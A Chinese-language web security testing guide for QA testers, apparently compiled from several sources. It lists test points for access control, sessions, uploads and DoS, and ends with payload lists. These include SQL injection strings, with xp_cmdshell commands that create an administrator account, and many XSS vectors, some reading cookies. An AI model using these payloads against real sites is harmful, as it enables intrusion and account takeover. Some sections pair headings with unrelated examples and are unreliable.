web安全性測試

安全性測試javascript

 

安全性測試主要是測試系統在沒有受權的內部或者外部用戶對系統進行攻擊或者惡意破壞時如何進行處理,是否仍能保證數據和頁面的安全。測試人員能夠學習一些黑客技術,來對系統進行攻擊。另外,對操做權限的測試也包含在安全性測試中。具體測試內容以下:

執行添加、刪除、修改等動做中是否作過登陸檢測。
退出系統以後的操做是否能夠完成。
全部插入表單操做中輸入特殊字符是否能夠正常輸正常存儲,特殊字符爲:!?#¥%……—*()~——-+=[]{}、|;:‘」?/《》<>,。
在帶有參數的回顯數據的動做中更改參數,把參數改成特殊字符並加入操做語句看是否出錯。
測試表單中有沒有作標籤檢測,標籤檢測是否完整。
在插入表單中加入特殊的HTML代碼,例如:<marquee>表單中的字本是否移動?</marquee>。php

 

 

系統安全性測試的十個重要問題css

1:沒有被驗證的輸入html

測試方法:java

數據類型(字符串,整型,實數,等)python

容許的字符集程序員

最小和最大的長度web

是否容許空輸入正則表達式

參數是不是必須的算法

重複是否容許

數值範圍

特定的值(枚舉型)

特定的模式(正則表達式)

2:有問題的訪問控制

測試方法:

主要用於須要驗證用戶身份以及權限的頁面,複製該頁面的url地址,關閉該頁面之後,查看是否能夠直接進入該複製好的地址;

例:從一個頁面鏈到另外一個頁面的間隙能夠看到URL地址,直接輸入該地址,能夠看到本身沒有權限的頁面信息;

3:錯誤的認證和會話管理

分析:賬號列表:系統不該該容許用戶瀏覽到網站全部的賬號,若是必需要一個用戶列表,推薦使用某種形式的假名(屏幕名)來指向實際的賬號。
瀏覽器緩存:認證和會話數據做爲GET的一部分來發送
認證和會話數據不該該做爲GET的一部分來發送,應該使用POST,
例:對Grid、Label、Tree view類的輸入框未做驗證,輸入的內容會按照html語法解析出來;

4:跨站腳本(XSS[D1] )

分析:攻擊者使用跨站腳本[D2] 來發送惡意代碼給沒有發覺的用戶,竊取他機器上的任意資料;
測試方法:

•HTML標籤:<…>…</…>

•轉義字符:&amp(&);&lt(<);&gt(>);&nbsp(空格) ;

腳本語言:

<scrīpt language=‘javascrīpt’>
…Alert(‘’)
</scrīpt>

•特殊字符:‘  ’ <  >  /

•最小和最大的長度

•是否容許空輸入
 例:對Grid、Label、Tree view類的輸入框未做驗證,輸入的內容會按照html語法解析出來

5:緩衝區溢出

沒有加密關鍵數據

分析:用戶使用緩衝區溢出來破壞web應用程序的棧,經過發送特別編寫的代碼到web程序中,攻擊者可讓web應用程序來執行任意代碼。

例:view-source:http地址能夠查看源代碼

在頁面輸入密碼,頁面顯示的是 *****,  右鍵,查看源文件就能夠看見剛纔輸入的密碼; 

6:注入式漏洞

分析:用戶登陸處、不用登陸能夠查看到的數據庫中的數據列表尤其重要。
例:一個驗證用戶登錄的頁面,若是使用的sql語句爲:

Select *  from  table A where  username=’’ + username+’’ and pass word ….

Sql 輸入

‘ or 1=1 ――

就能夠不輸入任何password進行攻擊;

7:不恰當的異常處理

分析:程序在拋出異常的時候給出了比較詳細的內部錯誤信息,暴露了不該該顯示的執行細節,網站存在潛在漏洞;

8:不安全的存儲

沒有加密關鍵數據

分析:賬號列表:系統不該該容許用戶瀏覽到網站全部的賬號,若是必需要一個用戶列表,推薦使用某種形式的假名(屏幕名)來指向實際的賬號。

瀏覽器緩存:認證和會話數據不該該做爲GET的一部分來發送,應該使用POST;

例:view-source:http地址能夠查看源代碼
   
在頁面輸入密碼,頁面不顯示 「*****」;
在頁面輸入密碼,頁面顯示的是 *****,
數據庫中存的密碼沒有通過加密;
地址欄中能夠看到剛纔填寫的密碼;
右鍵查看源文件就能夠看見剛纔輸入的密碼;  

9:拒絕服務

分析:Config中的連接字符串以及用戶信息,郵件,數據存儲信息都須要加以保護。攻擊者能夠從一個主機產生足夠多的流量來耗盡狠多應用程序,最終使程序陷入癱瘓。須要作負載均衡來對付。

10:不安全的配置管理

分析:Config中的連接字符串以及用戶信息,郵件,數據存儲信息都須要加以保護

程序員應該做的:配置全部的安全機制,關掉全部不使用的服務,設置角色權限賬號,使用日誌和警報。

例:數據庫的賬號是否是默認爲「sa」,密碼(還有端口號)是否是直接寫在配置文件裏而沒有進行加密。

軟件安全測試涉及的方面

2.
用戶名和密碼


是否設置密碼最小長度

用戶名和密碼中是否能夠有空格或回車?

是否容許密碼和用戶名一致

防惡意註冊:能否用自動填表工具自動註冊用戶?

遺忘密碼處理

有完好省的超級用戶?

有無超級密碼?
l
是否有校驗碼?

密碼錯誤次數有無限制?

3.
直接輸入須要權限的網頁地址能夠訪問

如:沒有登陸或註銷登陸後,直接輸入登陸後才能查看的頁面的網址,能直接打開頁面;
    註銷後,點瀏覽器上的後退,能夠進行操做。
正常登陸後,直接輸入本身沒有權限查看的頁面的網址,能夠打開頁面。

5.
隱藏域與CGI參數

分析:有此隱藏域中泄露了重要的信息,有時還能夠暴露程序原代碼。
     直接修改CGI參數,就能繞過客戶端的驗證了。
如:<input type="hidden" name="h" value="http://XXX/checkout.php">
只要改變value的值就可能會把程序的原代碼顯示出來。

6.
上傳文件沒有限制

分析:上傳文件最好要有格式的限制;
     上傳文件還要有大小的限制。

7.
把數據驗證寄但願於客戶端的驗證

分析:客戶端是不安全,重要的運算和算法不要在客戶端運行。
      重要的數據(如:密碼)在客戶端應該加密。


例:保存網頁並對網頁進行修改,使其繞過客戶端的驗證。(如只能選擇的下拉框,對輸入數據有特殊要求的文本框)




13.   傳輸中的密碼沒有加密

分析:傳輸中的密碼要進行加密。

傳輸前加密用SSL加密,https的方式提交用戶名和密碼;

若是使用tomcat作服務器的話,SSL加密只需配置就能夠了:

TOMCAT用https替換http的方法   
  //////////////////////////////////////////////////////////////   
  首先用java的工具keytool   生成一個ssl證書:     
  keytool   -genkey   -keyalg   RSA         -alias   youraliasname     -keystore   .keystore         
  輸入keystore密碼:     yourpass   
  您的名字與姓氏是什麼?   
      [Unknown]:     liubin   
  您的組織單位名稱是什麼?   
      [Unknown]:     test   
  您的組織名稱是什麼?   
      [Unknown]:     www.test.com   
  您所在的城市或區域名稱是什麼?   
      [Unknown]:     beijing   
  您所在的州或省份名稱是什麼?   
      [Unknown]:     beijing   
  該單位的兩字母國家代碼是什麼   
      [Unknown]:     cn   
  CN=liubin,   OU=test,   O=www.test.com,   L=beijing,   ST=beijing,   C=cn   正確嗎?   
      [否]:     y     
  輸入<CidSoftKey>的主密碼   
                  (若是和   keystore   密碼相同,按回車):

 

Web應用系統的安全性測試區域主要有:  
      (1)如今的Web應用系統基本採用先註冊,後登錄的方式。所以,必須測試有效和無效的用戶名和密碼,要注意到是否大小寫敏感,能夠試多少次的限制,是否能夠不登錄而直接瀏覽某個頁面等。  
      (2)Web應用系統是否有超時的限制,也就是說,用戶登錄後在必定時間內(例如15分鐘)沒有點擊任何頁面,是否須要從新登錄才能正常使用。  
      (3)爲了保證Web應用系統的安全性,日誌文件是相當重要的。須要測試相關信息是否寫進了日誌文件、是否可追蹤。  
      (4)當使用了安全套接字時,還要測試加密是否正確,檢查信息的完整性。  
      (5)服務器端的腳本經常構成安全漏洞,這些漏洞又經常被黑客利用。因此,還要測試沒有通過受權,就不能在服務器端放置和編輯腳本的問題。

 

咱們以爲樓上的象是測試論壇或者須要登錄的網站呢  
  我就順着加幾條吧:  
  1。登錄系統,點擊退出系統,或者註銷,而後點擊IE的退出,看看可否再次登錄,這個對於安全也比較須要,主要測試的是退出系統後,對cok0kies  
  2。若是你的系統,客戶端比較多,那麼就要判斷一個用戶可否同時在不一樣的機器上登錄  
  3。使用了加密的軟件,WEB系統運行後,加密軟件異常,包括關閉,退出,此時你的WEb系統安全怎麼處理  
  4。你的WEB系統的教本信息是否會反應一些你的數據庫信息,如,當前頁面涉及了你的數據庫裏的那些表啦,等等。  

 

 6、安全測試

Web應用系統的安全性測試區域主要有:

  一、 目錄設置

  Web 安全的第一步就是正確設置目錄。每一個目錄下應該有 index.html 或 main.html 頁面,這樣就不會顯示該目錄下的全部內容。若是沒有執行這條規則。那麼選中一幅圖片,單擊鼠標右鍵,找到該圖片所在的路徑"…com/objects/images"。而後在瀏覽器地址欄中手工輸入該路徑,發現該站點全部圖片的列表。這可能沒什麼關係。可是進入下一級目錄 "…com/objects" ,點擊 jackpot。在該目錄下有不少資料,其中有些都是已過時頁面。若是該公司每月都要更改產品價格信息,而且保存過時頁面。那麼只要翻看了一下這些記錄,就能夠估計他們的邊際利潤以及他們爲了爭取一個合同還有多大的降價空間。若是某個客戶在談判以前查看了這些信息,他們在談判桌上確定處於上風。

  2.登陸

  如今的Web應用系統基本採用先註冊,後登錄的方式。所以,必須測試有效和無效的用戶名和密碼,要注意到是否大小寫敏感,能夠試多少次的限制,是否能夠不登錄而直接瀏覽某個頁面等。

  3.Session

  Web應用系統是否有超時的限制,也就是說,用戶登錄後在必定時間內(例如15分鐘)沒有點擊任何頁面,是否須要從新登錄才能正常使用。

  4.日誌文件

  爲了保證Web應用系統的安全性,日誌文件是相當重要的。須要測試相關信息是否寫進了日誌文件、是否可追蹤。

  5.加密

  當使用了安全套接字時,還要測試加密是否正確,檢查信息的完整性。

  6.安全漏洞

  服務器端的腳本經常構成安全漏洞,這些漏洞又經常被黑客利用。因此,還要測試沒有通過受權,就不能在服務器端放置和編輯腳本的問題。

  目前網絡安全問題日益重要,特別對於有交互信息的網站及進行電子商務活動的網站尤爲重要。目前咱們的測試沒有涵蓋網站的安全性的測試,咱們擬定採用工具來測定,

  工具以下

  SAINT------- Security Administrator’s Integrated Network Tool
  此工具可以測出網站系統的相應的安全問題,而且可以給出安全漏洞的解決方案,不過是一些較爲常見的漏洞解決方案。

應用系統安全測試方法及內容

測試內容

測試要點

測試方法

應用系統的用戶管理、權限管理應充分利用操做系統和數據庫的安全性;應用軟件運行時須有完整的日誌記錄。

日誌記錄的完整性

檢測系統運行時是否會記錄完整的日誌。如進行詳單查詢,檢測系統是否會記錄相應的操做員、操做時間、系統狀態、操做事項、IP地址等。

不容許以明文方式保存用戶密碼或系統使用的各種密碼

用戶密碼或系統使用的各種密碼的加密存儲

檢查數據庫中的用戶密碼、操做員密碼等字段是不是以加密方式保存。

爲保證安全性,口令不容許以明碼的形式顯示在輸出設備上,應能對口令進行以下限制:最小口令長度、強制修改口令的時間間隔、口令的惟一性、口令過時失效後容許入網的寬限次數。

1.口令不容許以明碼顯示在輸出設備上。

2.最小口令長度的限制。

3.強制修改的時間間隔限制。

4.口令的惟一性限制。

5.口令過時失效後容許入網的寬限次數限制

實際登陸系統,輸入相應的口令,檢測口令是不是以加密形式顯示,同時檢測最小口令長度、強制修改口令的時間間隔、口令的惟一性、口令過時失效後容許入網的寬限次數。

應用系統應支持操做失效時間的配置,當操做員在所配置的時間內沒有對界面進行任何操做則該應用自動失效。

1.支持操做失效時間的配置。

2.支持當操做員在所配置的時間內沒有對界面進行任何操做則該應用自動失效。

檢測系統是否支持操做失效時間的配置,同時達到所配置的時間內沒有對界面進行任何操做時,檢測系統是否會將用戶自動失效,須要從新登陸系統。

應用系統應提供完善的審計功能,對系統關鍵數據的每一次增長、修改和刪除都能記錄相應的修改時間、操做人和修改前的數據記錄。

支持系統關鍵數據進行維護的記錄功能。

檢測對系統關鍵數據進行增長、修改和刪除時,系統是否會記錄相應的修改時間、操做人員和修改前的數據記錄。

應用程序的源代碼不容許放在運行主機上,應另行存放,並具備版本控制能力。

1.應用程序的源代碼不容許放在運行主機上,應另行存放。

2.版本控制

1.登陸主機審查應用程序的源代碼存放位置。

2.查看支撐系統版本控制管理辦法或類似文件,是否有相應的版本管理規章制度;軟件升級、補丁植入流程管理是否合理。

3.查看系統軟件版本記錄文件及軟件介質與軟件操做手冊,是否有詳細的軟件版本號、軟件升級與補丁植入狀況的記錄。

各應用軟件目錄設置及其訪問權限應有相應的規範,以保證系統的安全性和可維護性。

各應用軟件目錄設置及其訪問權限應有相應的規範。

審查是否有各應用軟件目錄設置及其訪問權限相應的規範文件。

接口程序鏈接登陸必須進行認證(根據用戶名、密碼認證)

支持接口程序鏈接登陸時的認證。

實際運行系統,檢測接口程序鏈接登陸時,是否須要輸入相應的用戶名、密碼進行認證。

 

安全性測試

  一、功能驗證

  功能驗證是採用軟件測試當中的黑盒測試方法,對涉及安全的軟件功能,如:用戶管理模塊,權限管理模塊,加密系統,認證系統等進行測試,主要驗證上述功能是否有效,具體方法可以使用黑盒測試方法。

  二、漏洞掃描

   安全漏洞掃描一般都是藉助於特定的漏洞掃描器完成的。漏洞掃描器是一種自動檢測遠程或本地主機安全性弱點的程序。經過使用漏洞掃描器,系統管理員可以發 現所維護信息系統存在的安全漏洞,從而在信息系統網絡安全保衛站中作到「有的放矢」,及時修補漏洞。按常規標準,能夠將漏洞掃描分爲兩種類型:主機漏洞掃 描器(Host Scanner)和網絡漏洞掃描器(Net Scanner)。主機漏洞掃描器是指在系統本地運行檢測系統漏洞的程序,如著名的COPS、Tripewire、Tiger等自由軟件。網絡漏洞掃描器 是指基於網絡遠程檢測目標網絡和主機系統漏洞的程序,如Satan、ISS Internet Scanner等。

  安全漏洞掃描是能夠用於平常安全防禦,同時能夠做爲對軟件產品或信息系統進行測試的手段,能夠在安全漏洞形成嚴重危害前,發現漏洞並加以防範。

  三、模擬攻擊實驗

  對於安全測試來 說,模擬攻擊測試是一組特殊的黑盒測試案例,咱們以模擬攻擊來驗證軟件或信息系統的安全防禦能力,下面簡要列舉在數據處理與數據通訊環境中特別關心的幾種 攻擊。在下列各項中,出現了「受權」和「非受權」兩個術語。「受權」意指「授予權力」,包含兩層意思:這裏的權力是指進行某種活動的權力(例如訪問數 據);這樣的權力被授予某個實體、代理人或進程。因而,受權行爲就是履行被授予權力(未被撤銷)的那些活動。

  ● 冒充:就是一個實體僞裝成一個不一樣的實體。冒充常與某些別的主動攻擊形式一塊兒使用,特別是消息的重演與篡改。例如,截獲鑑別序列,並在一個有效的鑑別序列使用過一次後再次使用。特權不多的實體爲了獲得額外的特權,可能使用冒充成具備這些特權的實體,舉例以下。

  1) 口令猜想:一旦黑客識別了一臺主機,並且發現了基於NetBIOS、Telnet或NFS服務的可利用的用戶賬號,併成功地猜想出了口令,就能對機器進行控制。

   2) 緩衝區溢出:因爲在不少地服務程序中大意的程序員使用相似於「strcpy(),strcat()」不進行有效位檢查的函數,最終可能致使惡意用戶編寫一 小段程序來進一步打開安全缺口,而後將該代碼放在緩衝區有效載荷末尾,這樣,當發生緩衝區溢出時,返回指針指向惡意代碼,執行惡意指令,就能夠獲得系統的 控制權。

  ● 重演:當一個消息或部分消息爲了產生非受權效果而被重複時,出現重演。例如,一個含有鑑別信息的有效消息可能被另外一個實體所重演,目的是鑑別它本身(把它看成其餘實體)。

  ● 消息篡改:數據所傳送的內容被改變而未被發覺,並致使非受權後果,以下所示。

  1) DNS高速緩存污染:因爲DNS服務器與其餘名稱服務器交換信息的時候並不進行身份驗證,這就使得黑客能夠加入不正確得信息,並把用戶引向黑客本身的主機。

  2) 僞造電子郵件:因爲SMTP並不對郵件發送者的身份進行鑑定,所以黑客能夠對內部客戶僞造電子郵件,聲稱是來自某個客戶認識並相信的人,並附上可安裝的特洛伊木馬程序,或者是一個指向惡意網站的連接。

  ● 服務拒絕:當一個實體不能執行它的正常功能,或它的動做防礙了別的實體執行它們的正常功能的時候,便發生服務拒絕。這種攻擊多是通常性的,好比一個實體 抑制全部的消息,也多是有具體目標的。例如,一個實體抑制全部流向某一特定目的端的消息,如安全審計服務。這種攻擊能夠是對通訊業務流的抑制,或產生額 外的通訊業務流。也可能製造出試圖破壞網絡操做的消息,特別是若是網絡具備中繼實體,這些中繼實體根據從別的中繼實體那裏接收到的狀態報告,來作出路由選擇的決定。拒絕服務攻擊種類不少,舉例以下。

  1) 死亡之ping(ping of death):因爲在早期的階段,路由器對包的最大尺寸都有限制,許多操做系統對TCP/IP棧的實如今ICMP包上都規定爲64KB,而且在讀取包的標題後,要根據該標題頭裏包含的信息來爲有效載荷生成緩衝區。當產生畸形的、聲稱本身的尺寸超過ICMP上限,也就是加載尺寸超過64K上限的包時,就會出 現內存分配錯誤,致使TCP/IP堆棧崩潰,導致接受方宕機。

  2) 淚滴(Teardorop):淚滴攻擊利用那些在TCP/IP堆棧實現中信任IP碎片中的包的標題頭所包含的信息來實現本身的攻擊。IP分段含有指示該分段所包含的是原包的哪一段的信息,某些TCP/IP(包括Service Pack 4之前的NT)在收到含有重疊偏移的僞造分段時將崩潰。

  3) UDP洪水(UDP Flood): 各類各樣的假冒攻擊利用簡單的TCP/IP服務,如Chargen和Echo來傳送毫無用處的數據以佔滿帶寬。經過僞造與某一主機的Chargen服務之間的一次的UDP鏈接,回覆地址指向開着Echo服務的一臺主機,這樣就生成在兩臺主機之間的足夠多的無用數據流,若是數據流足夠多,就會致使帶寬的服務攻擊。

  4) SYN洪水(SYN Flood):一些TCP/IP棧的實現,只能等待從有限數量的計算機發來的ACK消息,由於它們只有有限的內存緩衝區用於建立鏈接,若是這一緩衝區充滿 了虛假鏈接的初始信息,該服務器就會對接下來的鏈接請求中止響應,直到緩衝區裏的鏈接企圖超時爲止。在一些建立鏈接不受限制的實現裏,SYN洪水也具備類 似的影響。

  5) Land攻擊:在Land攻擊中,一個特別打造的SYN包的原地址和目標地址都被設置成某一個服務器地址,這將致使接受服務器向它本身的地址發送SYN- ACK消息,結果,這個地址又發回ACK消息並建立一個空鏈接,每個這樣的鏈接都將保留,直到超時。各類系統對Land攻擊的反應不一樣,許多UNIX實 現將崩潰,NT變得極其緩慢(大約持續5分鐘)。

  6) Smurf攻擊:一個簡單的Smurf攻擊,經過使用將回復地址設置成受害網絡的廣播地址的ICMP應答請求(ping)數據包,來淹沒受害主機的方式進 行,最終致使該網絡的全部主機都對此ICMP應答請求做出答覆,致使網絡阻塞,比「Ping of Death」洪水的流量高出一個或兩個數量級。更加複雜的Smurf將源地址改成第三方的受害者,最終致使第三方雪崩。

  7) Fraggle攻擊:Fraggle攻擊對Smurf攻擊做了簡單的修改,使用的是UDP應答消息,而非ICMP。

  8) 電子郵件炸彈:電子郵件炸彈是最古老的匿名攻擊之一,經過設置一臺機器,不斷大量地向同一地址發送電子郵件,攻擊者可以耗盡接收者網絡的帶寬。

  9) 畸形消息攻擊:各種操做系統上的許多服務都存在此類問題,因爲這些服務在處理信息以前沒有進行適當正確的錯誤校驗,在收到畸形的信息時可能會崩潰。

  ● 內部攻擊:當系統的合法用戶以非故意或非受權方式進行動做時就成爲內部攻擊。多數已知的計算機犯罪都和使系統安全遭受損害的內部攻擊有密切的關係。能用來 防止內部攻擊的保護方法包括:全部管理數據流進行加密;利用包括使用強口令在內的多級控制機制和集中管理機制來增強系統的控制能力;爲分佈在不一樣場所的業務部門劃分VLAN,將數據流隔離在特定部門;利用防火牆爲進出網絡的用戶提供認證功能,提供訪問控制保護;使用安全日誌記錄網絡管理數據流等。

  ● 外部攻擊:外部攻擊能夠使用的方法有:搭線(主動的與被動的)、截取輻射、冒充爲系統的受權用戶、冒充爲系統的組成部分、爲鑑別或訪問控制機制設置旁路等。

  ● 陷阱門:當系統的實體受到改變,導致一個攻擊者能對命令或對預約的事件或事件序列產生非受權的影響時,其結果就稱爲陷阱門。例如,口令的有效性可能被修改,使得除了其正常效力以外也使攻擊者的口令生效。

  ● 特洛伊木馬:對系統而言的特洛伊木馬,是指它不但具備本身的受權功能,並且還有非受權功能。一個向非受權信道拷貝消息的中繼就是一個特洛伊木馬。典型的特洛伊木馬有NetBus、BackOrifice和BO2k等。

  四、偵聽技術

  偵聽技術其實是在數據通訊或數據交互過程,對數據進行截取分析的過程。目前最爲流行的是網絡數據包的捕獲技術,一般咱們稱爲Capture,黑客能夠利用該項技術實現數據的盜用,而測試人員一樣能夠利用該項技術實現安全測試。

  該項技術主要用於對網絡加密的驗證。

 

安全性測試

安全性測試是有關驗證應用程序的安全服務和識別潛在安全性缺陷的過程。此節包括一些重要的測試建議,用來驗證已建立安全的應用程序。

因爲攻擊者沒有闖入的標準方法,於是也沒有實施安全性測試的標準方法。另外,目前幾乎沒有可用的工具來完全測試各個安全方面。因爲應用程序中的功能錯誤也可表明潛在的安全性缺陷,所以在實施安全性測試之前須要實施功能測試。

有一點很重要,應注意安全性測試並不最終證實應用程序是安全的。而是隻用於驗證所設立對策的有效性,這些對策是基於威脅分析階段所作的假設而選擇的。

下面提供測試應用程序安全性的一些建議。

測試緩衝區溢出

緩衝區溢出是計算機歷史中被利用的第一批安全錯誤之一。目前,緩衝區溢出繼續是最危險也是最常發生的弱點之一。試圖利用這種脆弱性能夠致使種種問題,從損壞應用程序到攻擊者在應用程序進程中插入並執行惡意代碼。

將 數據寫入緩衝區時,開發人員向緩衝區寫入的數據不能超出其所能存放的數據。若是正在寫入的數據量超出已分配的緩衝區空間,將發生緩衝區溢出。當發生緩衝區 溢出時,會將數據寫入到可能爲其餘用途而分配的內存部分中。最壞的情形是緩衝區溢出包含惡意代碼,該代碼隨後被執行。緩衝區溢出在致使安全脆弱性方面所佔 的百分比很大。

實施源代碼安全檢查

根據所討論應用程序的敏感程度,實施對應用程序源代碼的安 全審覈多是明智的。不要將源代碼審覈與代碼檢查相混淆。標準代碼檢查的目的是識別影響代碼功能的通常代碼缺陷。源代碼安全檢查的目的則是識別有意或無心 的安全性缺陷。開發處理財政事務或提供公共安全的應用程序時尤爲應保證進行這種檢查。

驗證應急計劃

老是存在應用程序的安全防護被突破的潛在可能,只有應急計劃就位並有效纔是明智的。在應用程序服務器或數據中心檢測到病毒時將採起哪些步驟?安全性被越過期,必須迅速做出反應來防止進一步損壞。在應急計劃投入實戰之前請弄清它們是否起做用。

攻擊您的應用程序

測試人員習慣於攻擊應用程序以試圖使其失敗。攻擊您本身的應用程序是與其相似但目的更集中的過程。嘗試攻擊應用程序時,應尋找表明應用程序防護弱點的、可利用的缺陷。

Web應用程序的安全性問題依其存在的形勢劃分,種類繁多,這裏不許備介紹全部的,只介紹常見、比較常見和有點常見這種級別的。我相信從Web應用安全角度來講,會比你從網上搜的要全面的多。如下是這些安全性問題的列表:

  1、跨站腳本攻擊(CSS or XSS, Cross Site Scripting)

  2、SQL注入攻擊(SQL injection)

  3、遠程命令執行(Code execution,我的以爲譯成代碼執行並不確切)

  4、目錄遍歷(Directory traversal)

  5、文件包含(File inclusion)

  6、腳本代碼暴露(Script source code disclosure)

  7、Http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting)

  8、跨幀腳本攻擊(Cross Frame Scripting)

  9、PHP代碼注入(PHP code injection)

  10、XPath injection

  11、Cookie篡改(Cookie manipulation)

  12、URL重定向(URL redirection)

  13、Blind SQL/XPath injection for numeric/String inputs

  14、Google Hacking

 

Web Application Security Consortium(WASC)將Web應用安全威脅分爲以下六類:

 1   Authentication(驗證)

用來確認某用戶、服務或是應用身份的攻擊手段。

      2  Authorization(受權)

用來決定是否某用戶、服務或是應用具備執行請求動做必要權限的攻擊手段。

      3  Client-Side Attacks(客戶端攻擊)

用來擾亂或是探測 Web 站點用戶的攻擊手段。

     4  Command Execution(命令執行)

在 Web 站點上執行遠程命令的攻擊手段。

     5   Information Disclosure(信息暴露)

用來獲取 Web 站點具體系統信息的攻擊手段。

  6      Logical Attacks(邏輯性攻擊)

用來擾亂或是探測 Web 應用邏輯流程的攻擊手段。

 

創建總體的威脅模型,測試溢出漏洞、信息泄漏、錯誤處理、SQL 注入、身份驗證和受權錯誤.

  1. 1.  輸入驗證

客戶端驗證 服務器端驗證(禁用腳本調試,禁用Cookies)

1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)

2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,恰好到達限制字數時有何反應

3.輸入特殊字符,如:~!@#$%^&*()_+<>:」{}|

4.輸入中英文空格,輸入字符串中間含空格,輸入首尾空格

5.輸入特殊字符串NULL,null,0x0d 0x0a

6.輸入正常字符串   

7.輸入與要求不一樣類型的字符,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字

8.輸入html和javascript代碼

9.對於像回答數這樣需檢驗數字正確性的測試點,不只對比其與問題最終頁的回答數,還要對回答進行添加刪除等操做後查看變化

例如:

1.輸入<html」>」gfhd</html>,看是否出錯;

2.輸入<input type=」text」 name=」user」/>,看是否出現文本框;

3.輸入<script type=」text/javascript」>alert(「提示」)</script>看是否出現提示。

 

關於上傳:

1.上傳文件是否有格式限制,是否能夠上傳exe文件;

2.上傳文件是否有大小限制,上傳太大的文件是否致使異常錯誤,上傳0K的文件是否會致使異常錯誤,上傳並不存在的文件是否會致使異常錯誤;

3.經過修改擴展名的方式是否能夠繞過格式限制,是否能夠經過壓包方式繞過格式限制;

4.是否有上傳空間的限制,是否能夠超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。

5.上傳文件大小大於本地剩餘空間大小,是否會出現異常錯誤。

6.關於上傳是否成功的判斷。上傳過程當中,中斷。程序是否判斷上傳是否成功。

7.對於文件名中帶有中文字符,特殊字符等的文件上傳。

下載:

  1. 避免輸入:\..\web.
  2. 修改命名後綴。

 

關於URL:

1.某些需登陸後或特殊用戶才能進入的頁面,是否能夠經過直接輸入網址的方式進入;

2.對於帶參數的網址,惡意修改其參數,(若爲數字,則輸入字母,或很大的數字,或輸入特殊字符等)後打開網址是否出錯,是否能夠非法進入某些頁面;

3.搜索頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。

4.輸入善意字符。

 

UBB:

 

[url=http://www.****.com] 你的網站[/url]

1.試着用各類方式輸入UBB代碼,好比代碼不完整,代碼嵌套等等.

2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起做用

3.輸入編輯器中不存在的UBB代碼,看是否起做用

 

[url=javascript:alert('hello')]連接[/url]

[email=javascript:alert('hello')]EMail[/email]

[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]

 

[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]

[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]

 

[b STYLE="background-image: url(javascript:alert('XSS'))"]一首詩酸澀澀服務網[/b]

[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]

 

[u]一二三四五六七北京市[/u]

[font=微軟雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[font=微軟雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[list=1]

[*]一二三四五六七北京市[/list]

[indent]一二三四五六七北京市[/indent]

[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

 

  1. 2.  輸出編碼

經常使用的測試輸入語句有:

<input type="text"/>

<input/>

<input/ 

<script>alert('hello');</script>

1.jpg" onmouseover="alert('xss')

"></a><script>alert(‘xss’);</script>

http://xxx';alert('xss');var/ a='a

‘」>xss&<  

a=」\」 ; b=」;alert(/xss/);//」

<img src=「輸出內容」 border=「0」 alt=「logo」 />

「’」

‘」’

「」」

「 「 「

「」「

「‘ 」

title=」」

對輸出數據到輸出數據的對比,看是否出現問題。

 

 

  1. 3.  防止SQL注入

Admin--

‘or ­­­--­­

‘  and  (   )   exec   insert   *   %   chr   mid  

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)  ;  %20AND%201=2

‘and 1=1    ;  ‘And  1=1   ;   ‘aNd   1=1   ;

and 1=2    ;   ‘and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell 「net user name password /add」—

;exec master..xp_cmdshell 「net localgroup name administrators /add」—

and 0<>(select count(*) from admin)

簡單的如where xtype=’U’,字符U對應的ASCII碼是85,因此能夠用where xtype=char(85)代替;若是字符是中文的,好比where name=’用戶’,能夠用where name=nchar(29992)+nchar(25143)代替。

 

  1. 4.  跨站腳本攻擊(XSS)

對於 XSS,只需檢查 HTML 輸出並看看您輸入的內容在什麼地方。它在一個 HREF 標記中嗎?是否在 IFRAME 標記中?它在 CLSID 標記中嗎?在 IMG SRC 中嗎?某些 Flash 內容的 PARAM NAME 是怎樣的?

~!@#$%^&*()_+<>,./?;'"[]{}\-

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type="text"/>

★<input/>

★<input/ 

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript:alert(/xss/)

★javascrip&#116&#58alert(/xss/)

★<img src="#" onerror=alert(/xss/)>

★<img src="#" style="Xss:expression(alert(/xss/));">

★<img src="#"/**/onerror=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg" onmouseover="alert('xss')

★"></a><script>alert(‘xss’);</script>

★http://xxx';alert('xss');var/ a='a

★’」>xss&<

★"onmouseover=alert('hello');"

★&{alert('hello');}

  ★>"'><script>alert(‘XSS')</script>

